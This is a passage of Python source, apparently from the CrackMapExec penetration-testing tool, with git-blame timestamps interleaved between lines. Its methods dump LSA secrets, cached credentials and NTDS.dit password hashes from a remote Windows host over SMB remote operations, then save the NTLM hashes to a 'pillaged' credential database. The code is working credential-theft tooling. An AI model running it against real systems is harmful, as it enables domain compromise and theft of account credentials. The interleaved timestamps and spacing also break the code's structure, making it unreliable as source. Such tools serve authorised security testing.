SAM . finish ( )
2016-12-15 07:28:00 +00:00
@requires_admin
def lsa ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
def add_lsa_secret ( secret ) :
add_lsa_secret . secrets + = 1
self . logger . highlight ( secret )
add_lsa_secret . secrets = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2017-03-27 21:09:36 +00:00
SECURITYFileName = self . remote_ops . saveSECURITY ( )
2016-12-15 07:28:00 +00:00
2017-10-25 02:08:19 +00:00
LSA = LSASecrets ( SECURITYFileName , self . bootkey , self . remote_ops , isRemote = True ,
2017-03-27 21:09:36 +00:00
perSecretCallback = lambda secretType , secret : add_lsa_secret ( secret ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumping LSA secrets ' )
LSA . dumpCachedHashes ( )
LSA . exportCached ( self . output_filename )
LSA . dumpSecrets ( )
LSA . exportSecrets ( self . output_filename )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumped {} LSA secrets to {} and {} ' . format ( highlight ( add_lsa_secret . secrets ) ,
2019-12-19 09:12:17 +00:00
self . output_filename + ' .secrets ' , self . output_filename + ' .cached ' ) )
2017-03-27 21:09:36 +00:00
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
LSA . finish ( )
2016-12-15 07:28:00 +00:00
def ntds ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
use_vss_method = False
NTDSFileName = None
2017-03-30 00:03:04 +00:00
host_id = self . db . get_computers ( filterTerm = self . host ) [ 0 ] [ 0 ]
def add_ntds_hash ( ntds_hash , host_id ) :
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes + = 1
2022-11-22 18:28:57 +00:00
if self . args . enabled :
if " Enabled " in ntds_hash :
ntds_hash = ntds_hash . split ( " " ) [ 0 ]
self . logger . highlight ( ntds_hash )
2022-07-08 08:47:27 +00:00
else :
ntds_hash = ntds_hash . split ( " " ) [ 0 ]
self . logger . highlight ( ntds_hash )
2017-03-30 00:03:04 +00:00
if ntds_hash . find ( ' $ ' ) == - 1 :
if ntds_hash . find ( ' \\ ' ) != - 1 :
domain , hash = ntds_hash . split ( ' \\ ' )
else :
domain = self . domain
hash = ntds_hash
try :
username , _ , lmhash , nthash , _ , _ , _ = hash . split ( ' : ' )
parsed_hash = ' : ' . join ( ( lmhash , nthash ) )
if validate_ntlm ( parsed_hash ) :
self . db . add_credential ( ' hash ' , domain , username , parsed_hash , pillaged_from = host_id )
add_ntds_hash . added_to_db + = 1
return
raise
except :
logging . debug ( " Dumped hash is not NTLM, not adding to db for now ;) " )
else :
logging . debug ( " Dumped hash is a computer account, not adding to db " )
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes = 0
2017-03-30 00:03:04 +00:00
add_ntds_hash . added_to_db = 0
2016-12-15 07:28:00 +00:00
2022-01-19 18:13:05 +00:00
if self . remote_ops :
2016-12-15 07:28:00 +00:00
try :
2020-04-20 00:22:03 +00:00
if self . args . ntds == ' vss ' :
2017-03-27 21:09:36 +00:00
NTDSFileName = self . remote_ops . saveNTDS ( )
use_vss_method = True
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
#if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
2016-12-15 07:28:00 +00:00
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
2017-03-27 21:09:36 +00:00
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
2016-12-15 07:28:00 +00:00
self . logger . error ( e )
2021-09-18 20:26:24 +00:00
NTDS = NTDSHashes ( NTDSFileName , self . bootkey , isRemote = True , history = False , noLMHash = True ,
2022-01-19 18:13:05 +00:00
remoteOps = self . remote_ops , useVSSMethod = use_vss_method , justNTLM = True ,
2021-09-18 20:26:24 +00:00
pwdLastSet = False , resumeSession = None , outputFileName = self . output_filename ,
2022-07-08 08:47:27 +00:00
justUser = self . args . userntds if self . args . userntds else None , printUserStatus = True ,
2021-09-18 20:26:24 +00:00
perSecretCallback = lambda secretType , secret : add_ntds_hash ( secret , host_id ) )
try :
self . logger . success ( ' Dumping the NTDS, this could take a while so go grab a redbull... ' )
NTDS . dump ( )
2022-07-08 08:47:27 +00:00
self . logger . success ( ' Dumped {} NTDS hashes to {} of which {} were added to the database ' . format ( highlight ( add_ntds_hash . ntds_hashes ) , self . output_filename + ' .ntds ' , highlight ( add_ntds_hash . added_to_db ) ) )
2022-11-22 18:28:57 +00:00
self . logger . info ( " To extract only enabled accounts from the output file, run the following command: " )
self . logger . info ( " cat {} | grep -iv disabled | cut -d ' : ' -f1 " . format ( self . output_filename + ' .ntds ' ) )
2021-09-18 20:26:24 +00:00
except Exception as e :
#if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
self . logger . error ( e )
try :
self . remote_ops . finish ( )
except Exception as e :
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2022-02-01 13:38:12 +00:00
NTDS . finish ( )